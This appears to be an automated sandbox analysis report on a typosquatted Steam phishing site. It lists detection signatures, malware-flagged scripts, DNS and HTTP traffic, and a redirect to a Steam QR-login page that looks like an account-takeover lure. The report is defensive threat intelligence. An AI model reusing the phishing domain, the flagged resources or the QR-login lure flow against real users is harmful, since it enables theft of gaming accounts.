Edit tour

Windows Analysis Report
https://staemcomnunlty.com/glft/91832

Overview

General Information

Sample URL:	https://staemcomnunlty.com/glft/91832
Analysis ID:	1590397
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

AI detected suspicious URL

Detected non-DNS traffic on DNS port

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

HTML body contains low number of good links

HTML body with high number of embedded images detected

HTML body with high number of large embedded background images detected

HTML title does not match URL

Invalid T&C link found

PE file contains an invalid checksum

PE file does not import any functions

PE file overlay found

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3720 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4408 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2064,i,17467048230231742909,8538089115570341166,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6768 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5944 --field-trial-handle=2064,i,17467048230231742909,8538089115570341166,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5412 --field-trial-handle=2064,i,17467048230231742909,8538089115570341166,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5564 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://staemcomnunlty.com/glft/91832" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2804 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s.team/q/1/1548911109135758962 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1972 --field-trial-handle=1928,i,10487514921460535039,16016976758729248364,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

String found in binary or memory:   <span aria-hidden="true">|</span>  <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.facebook.com%2FSteam" target="_blank" rel=" noopener"><img src="https://store.fastly.steamstatic.com/public/images/ico/ico_facebook.png" alt="Facebook"> Steam</a> equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: staemcomnunlty.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: community.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: s.team
Source: global traffic	DNS traffic detected: DNS query: store.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: store.fastly.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: cdn.fastly.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: shared.fastly.steamstatic.com

Source: unknown

HTTP traffic detected: POST /721a76577b085b5108021014567100540b0205 HTTP/1.1Host: staemcomnunlty.comConnection: keep-aliveContent-Length: 60Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: nullContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM

Source: https://staemcomnunlty.com/721a76577b085b5f0a000149.js	Avira URL Cloud: Label: malware
Source: https://staemcomnunlty.com/721a76577b085b500b0a104241057f3646417a267f00.woff2	Avira URL Cloud: Label: malware
Source: https://staemcomnunlty.com/218104c45072d9fe0abdcd78906efeffbda19b122733/f0013dccce18ce1efa061fcd37ed65832a4c8bf11eca.js	Avira URL Cloud: Label: malware

Source: URL	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://staemcomnunlty.com
Source: URL	Joe Sandbox AI: AI detected Typosquatting in URL: https://staemcomnunlty.com

Source: https://staemcomnunlty.com/glft/91832	HTTP Parser: Invalid link: Privacy Policy
Source: https://staemcomnunlty.com/glft/91832	HTTP Parser: Invalid link: Legal
Source: https://staemcomnunlty.com/glft/91832	HTTP Parser: Invalid link: Privacy Policy
Source: https://staemcomnunlty.com/glft/91832	HTTP Parser: Invalid link: Legal

Source: https://staemcomnunlty.com/glft/91832	HTTP Parser: No favicon
Source: https://staemcomnunlty.com/glft/91832	HTTP Parser: No favicon

Source: https://staemcomnunlty.com/glft/91832	HTTP Parser: No <meta name="author".. found
Source: https://staemcomnunlty.com/glft/91832	HTTP Parser: No <meta name="author".. found

Source: https://staemcomnunlty.com/glft/91832	HTTP Parser: No <meta name="copyright".. found
Source: https://staemcomnunlty.com/glft/91832	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /glft/91832 HTTP/1.1Host: staemcomnunlty.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ui/1.11.3/jquery-ui.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /721a76577b085b5f0a000149.js HTTP/1.1Host: staemcomnunlty.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ui/1.11.3/jquery-ui.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/shared/images/header/logo_steam.svg?t=962016 HTTP/1.1Host: community.akamai.steamstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /721a76577b085b5f0a000149.js HTTP/1.1Host: staemcomnunlty.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM
Source: global traffic	HTTP traffic detected: GET /218104c45072d9fe0abdcd78906efeffbda19b122733/f0013dccce18ce1efa061fcd37ed65832a4c8bf11eca.js HTTP/1.1Host: staemcomnunlty.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://staemcomnunlty.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM
Source: global traffic	HTTP traffic detected: GET /public/shared/images/header/logo_steam.svg?t=962016 HTTP/1.1Host: community.akamai.steamstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /721a76577b085b510110375810527a0a5d575e05 HTTP/1.1Host: staemcomnunlty.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM
Source: global traffic	HTTP traffic detected: GET /721a76577b085b500b0a104241057f3646417a267f00.woff2 HTTP/1.1Host: staemcomnunlty.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://staemcomnunlty.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://staemcomnunlty.com/721a76577b085b5108021014567100540b0205Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM
Source: global traffic	HTTP traffic detected: GET /q/1/1548911109135758962 HTTP/1.1Host: s.teamConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /721a76577b085b510110375810527a0a5d575e05 HTTP/1.1Host: staemcomnunlty.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM
Source: global traffic	HTTP traffic detected: GET /about/qrlogin/1/1548911109135758962 HTTP/1.1Host: store.steampowered.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: staemcomnunlty.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM
Source: global traffic	HTTP traffic detected: GET /dynamicstore/saledata/?cc=US HTTP/1.1Host: store.steampowered.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://store.steampowered.com/about/qrlogin/1/1548911109135758962Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; browserid=360950381715305769; sessionid=e1f044ca1f5a799d384ff202; timezoneOffset=-18000,0
Source: global traffic	HTTP traffic detected: GET /dynamicstore/saledata/?cc=US HTTP/1.1Host: store.steampowered.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; browserid=360950381715305769; sessionid=e1f044ca1f5a799d384ff202; timezoneOffset=-18000,0
